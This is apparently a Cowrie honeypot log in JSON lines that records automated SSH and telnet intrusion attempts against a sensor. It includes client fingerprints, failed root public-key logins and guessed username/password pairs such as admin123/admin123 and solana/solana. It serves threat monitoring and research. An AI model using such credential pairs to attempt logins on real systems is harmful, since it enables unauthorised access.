{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:76:17:dc:37:57:57:04:e0:f3:17:b6:99:cb:3a:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkQW+HVKNejwJMj23UB8eNsQf64atIKuHap+F4hHl7arl/YvMvqFJCiUOTEiKgQuIyk8d8zr7ROJBcj9CIkEf9QgvLh3naBm1NpfCTzAfV49FrN3Qsxd1Stqcuf8mLOA+oolxTbLRiASmv7UoB3FZhj9m87sjIOATz0y3z5vtR3QzLgj6sbecLp60fSBZ3eaFi4nf/13rpAPnscloIfPkXGFSg1G1tfE3LFNYuzQqPh5M5QIm9EuXrE0X4XI2zPS3RnLc5ZBevnpTz/cLy3sB53iToVZ3g1zAejBb1qX9gQZIV9G7uxAE4DnJvQHudoTOZpxZRkKVWHZpwPRQxs4CV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.706194Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:7d:9f:bc:ba:3a:5d:92:e5:fc:66:45:72:c5:ed:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS1mCvYNIGf4ghz/lhljtpblFu8gTN5WkoUmbcBALJyFMp4WjVoFN7OAJAV30/iuIIILS62zcacPAa9owSy5k0M9AOCGLauBTIUjlAaBIkJEYMu+nJKvJYePIvEw66xwu/vOvo7DE4drZrK9/JoXmYq2EcgPUIpjNYw9UiKjN3tX4lBDEExDGONyJ4DKbCEtWkLX3iXSC9E1JPXtRG1KMiO7krLU7a0bB95jFy+g5m9tAOdKlt3RxZr4qQ47tVkQVXbokWJPmCA3Q4hUcdsjl8esyHTZJ1KzbzJXt32p+bKUwsH5zz1e2r22ujTIoPkKX7gXFtsGQg1+/hSfGsXqMP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:7d:9f:bc:ba:3a:5d:92:e5:fc:66:45:72:c5:ed:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.809129Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:7d:9f:bc:ba:3a:5d:92:e5:fc:66:45:72:c5:ed:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS1mCvYNIGf4ghz/lhljtpblFu8gTN5WkoUmbcBALJyFMp4WjVoFN7OAJAV30/iuIIILS62zcacPAa9owSy5k0M9AOCGLauBTIUjlAaBIkJEYMu+nJKvJYePIvEw66xwu/vOvo7DE4drZrK9/JoXmYq2EcgPUIpjNYw9UiKjN3tX4lBDEExDGONyJ4DKbCEtWkLX3iXSC9E1JPXtRG1KMiO7krLU7a0bB95jFy+g5m9tAOdKlt3RxZr4qQ47tVkQVXbokWJPmCA3Q4hUcdsjl8esyHTZJ1KzbzJXt32p+bKUwsH5zz1e2r22ujTIoPkKX7gXFtsGQg1+/hSfGsXqMP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.813282Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:7b:d0:e8:c7:29:17:7a:1b:9b:3a:86:97:f0:b7:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs55fZ74E9amgyaPvOtnBoX9HOLjQvCX8aBs+j+ei8VM5neuLcYqMhvq9JYovkrCywQ10rVpS9ifzjC7HNjo4THOAjRi+agAn3ksf+1Fn7SGPvXtWgVJr3eOxHWR84pm3DxCdW7ndU+Zfde94B+cX7cw9W/HWgrHtl9Mmn+AQN1sUltZSWCLX1r4BeAkw/Hac5/0X9vEl/0Fr3kGPcpSyUkLD2vBmJLs7mNkoXweVa3q7lgRscHf9KiKfy9hkJ3GlLcWgPDMEnFmOH43w2WNrWwfagd53eCCp4kV7FBbvrfBQn1iHuhYGXUMoHFBH2ZaPaUian34GOWXUsb+UNAyVYDX0cQTCtnXIc6TX1eUty+r+8hyoBmcSFCoi8JmSsTARIoQamjTTf8ZYx8q/EWq6tkihIePhgJbX+kE9eXVA0Dlhvv/2dSd8QHkfPjoQZkFPbBmIZ6aqaTMH4TrhHS9gqRuHPO8ikt6Y60+rWU9AwcF5jrk3+JGOf+9jgtTUzzMtzQhVAYtJqYpEVF2VqpMZmlmvBu2W72awXkACszGusEZ2aB8G2Qw3iNdz6VtNIM/dOjD9++cV5nmlZRKOlPvidxFIzh5itLbTj1zyynhsOU2H3pECw0pfg3n3AirxRA1INnHSR7vooLxUNDZPQe11faOY/V+xafEzbC5E/RhIb5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:7b:d0:e8:c7:29:17:7a:1b:9b:3a:86:97:f0:b7:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.916022Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:7b:d0:e8:c7:29:17:7a:1b:9b:3a:86:97:f0:b7:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs55fZ74E9amgyaPvOtnBoX9HOLjQvCX8aBs+j+ei8VM5neuLcYqMhvq9JYovkrCywQ10rVpS9ifzjC7HNjo4THOAjRi+agAn3ksf+1Fn7SGPvXtWgVJr3eOxHWR84pm3DxCdW7ndU+Zfde94B+cX7cw9W/HWgrHtl9Mmn+AQN1sUltZSWCLX1r4BeAkw/Hac5/0X9vEl/0Fr3kGPcpSyUkLD2vBmJLs7mNkoXweVa3q7lgRscHf9KiKfy9hkJ3GlLcWgPDMEnFmOH43w2WNrWwfagd53eCCp4kV7FBbvrfBQn1iHuhYGXUMoHFBH2ZaPaUian34GOWXUsb+UNAyVYDX0cQTCtnXIc6TX1eUty+r+8hyoBmcSFCoi8JmSsTARIoQamjTTf8ZYx8q/EWq6tkihIePhgJbX+kE9eXVA0Dlhvv/2dSd8QHkfPjoQZkFPbBmIZ6aqaTMH4TrhHS9gqRuHPO8ikt6Y60+rWU9AwcF5jrk3+JGOf+9jgtTUzzMtzQhVAYtJqYpEVF2VqpMZmlmvBu2W72awXkACszGusEZ2aB8G2Qw3iNdz6VtNIM/dOjD9++cV5nmlZRKOlPvidxFIzh5itLbTj1zyynhsOU2H3pECw0pfg3n3AirxRA1INnHSR7vooLxUNDZPQe11faOY/V+xafEzbC5E/RhIb5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:32.919794Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:01:a9:20:11:52:1f:7d:9f:25:04:7b:8a:47:2e:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHolOmz8OVpZXD7vnk/BStn8FF3n3R7iC3lQnOcOtfxgSXMZTRStyw5Lj4+rt3l9bYexYaGPW7gsl1yy+0kn+FvTs+oLG6dYj14nH6SW9R573tSr6CZRe7T1HXtjTKdeYQEw8e4z0PMCJ2g7Edo6B8rf29D3qsAudPQZj923ZCGjMzMRUUSyFSvjRm7uGVCeL34TMxDrA3L/t70YeBFdO3FIfyIKmj0jTSmh+DvEO8qo1GI35CJR7gKUuhXiiEMxEKAtwlw6/XJPfB7LaY3nmV1UZo1z2B7ZPrIILgvouzxQPMGjeABuHKR7SfCMaemKR3W6YWZhtfVBLT7Lig5SyR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:01:a9:20:11:52:1f:7d:9f:25:04:7b:8a:47:2e:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:33.022633Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:01:a9:20:11:52:1f:7d:9f:25:04:7b:8a:47:2e:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHolOmz8OVpZXD7vnk/BStn8FF3n3R7iC3lQnOcOtfxgSXMZTRStyw5Lj4+rt3l9bYexYaGPW7gsl1yy+0kn+FvTs+oLG6dYj14nH6SW9R573tSr6CZRe7T1HXtjTKdeYQEw8e4z0PMCJ2g7Edo6B8rf29D3qsAudPQZj923ZCGjMzMRUUSyFSvjRm7uGVCeL34TMxDrA3L/t70YeBFdO3FIfyIKmj0jTSmh+DvEO8qo1GI35CJR7gKUuhXiiEMxEKAtwlw6/XJPfB7LaY3nmV1UZo1z2B7ZPrIILgvouzxQPMGjeABuHKR7SfCMaemKR3W6YWZhtfVBLT7Lig5SyR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:33.025437Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:0a:f6:0f:95:a5:90:9b:d4:1c:c9:0c:ec:9f:5d:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJB41VmqJAhIzfNVcEAacd5hMToxq2Hozi+9eOXBT4P+rfogls1fwYWiVDyg1BeyqC1jT0GNFlUkr8hNsqR3EAgR1hQWX3qpjt6EpbgpR8HMQBw58X/GQltAWqVX85FrES17Zr53ywefPq8i1mvluWNpLwHGptgFMuSuIAsdzU36IXVLYHHTtCHY0EDU40RU7I/Fa9ScBR2tVmM8bm3iojKaOgdlEevATeuDf7/CX32EkM2NT2jAivSSuzffmJW6bciqydi8jHpjE83TD9lnxG4wvDyEZqQTl1p8kVnSdXZe4Mjs7fKyT3WxSL3bU7ABv4OLZ4DVgVum76ORXCR4+X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:0a:f6:0f:95:a5:90:9b:d4:1c:c9:0c:ec:9f:5d:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:33.126998Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:0a:f6:0f:95:a5:90:9b:d4:1c:c9:0c:ec:9f:5d:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJB41VmqJAhIzfNVcEAacd5hMToxq2Hozi+9eOXBT4P+rfogls1fwYWiVDyg1BeyqC1jT0GNFlUkr8hNsqR3EAgR1hQWX3qpjt6EpbgpR8HMQBw58X/GQltAWqVX85FrES17Zr53ywefPq8i1mvluWNpLwHGptgFMuSuIAsdzU36IXVLYHHTtCHY0EDU40RU7I/Fa9ScBR2tVmM8bm3iojKaOgdlEevATeuDf7/CX32EkM2NT2jAivSSuzffmJW6bciqydi8jHpjE83TD9lnxG4wvDyEZqQTl1p8kVnSdXZe4Mjs7fKyT3WxSL3bU7ABv4OLZ4DVgVum76ORXCR4+X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:33.130940Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:33.233311Z","src_ip":"185.117.118.196","session":"83bd29ad2593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a356e8797d","protocol":"ssh","message":"New connection: 172.237.20.62:58632 (159.203.135.109:22) [session: 58a356e8797d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:35.676693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:35.737626Z","src_ip":"172.237.20.62","session":"58a356e8797d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:35.837673Z","src_ip":"172.237.20.62","session":"58a356e8797d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:36.463649Z","src_ip":"172.237.20.62","session":"58a356e8797d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:37.625974Z","src_ip":"172.237.20.62","session":"58a356e8797d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33768,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7d43564464","protocol":"ssh","message":"New connection: 172.237.20.62:33768 (159.203.135.109:22) [session: 8a7d43564464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:46.753155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:46.770708Z","src_ip":"172.237.20.62","session":"8a7d43564464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:46.932749Z","src_ip":"172.237.20.62","session":"8a7d43564464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:47.561668Z","src_ip":"172.237.20.62","session":"8a7d43564464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:48.728066Z","src_ip":"172.237.20.62","session":"8a7d43564464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44292,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39edc6716b0","protocol":"ssh","message":"New connection: 80.94.92.184:44292 (10.17.0.5:22) [session: f39edc6716b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:52.875149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:52.937004Z","src_ip":"80.94.92.184","session":"f39edc6716b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:53.090890Z","src_ip":"80.94.92.184","session":"f39edc6716b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:53.739731Z","src_ip":"80.94.92.184","session":"f39edc6716b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41563,"dst_ip":"10.17.0.5","dst_port":23,"session":"149b2347696d","protocol":"telnet","message":"New connection: 49.88.156.34:41563 (10.17.0.5:23) [session: 149b2347696d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:53.949516Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:55.034695Z","src_ip":"80.94.92.184","session":"f39edc6716b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59116,"dst_ip":"159.203.135.109","dst_port":22,"session":"f19cc98fd62d","protocol":"ssh","message":"New connection: 172.237.20.62:59116 (159.203.135.109:22) [session: f19cc98fd62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:57.718956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:57.727386Z","src_ip":"172.237.20.62","session":"f19cc98fd62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:57.888520Z","src_ip":"172.237.20.62","session":"f19cc98fd62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:58.438645Z","src_ip":"172.237.20.62","session":"f19cc98fd62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:56:59.602744Z","src_ip":"172.237.20.62","session":"f19cc98fd62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53720,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e26d35c0734","protocol":"ssh","message":"New connection: 172.237.20.62:53720 (159.203.135.109:22) [session: 6e26d35c0734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:08.541583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:08.546678Z","src_ip":"172.237.20.62","session":"6e26d35c0734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:08.710417Z","src_ip":"172.237.20.62","session":"6e26d35c0734","protocol":"ssh"}
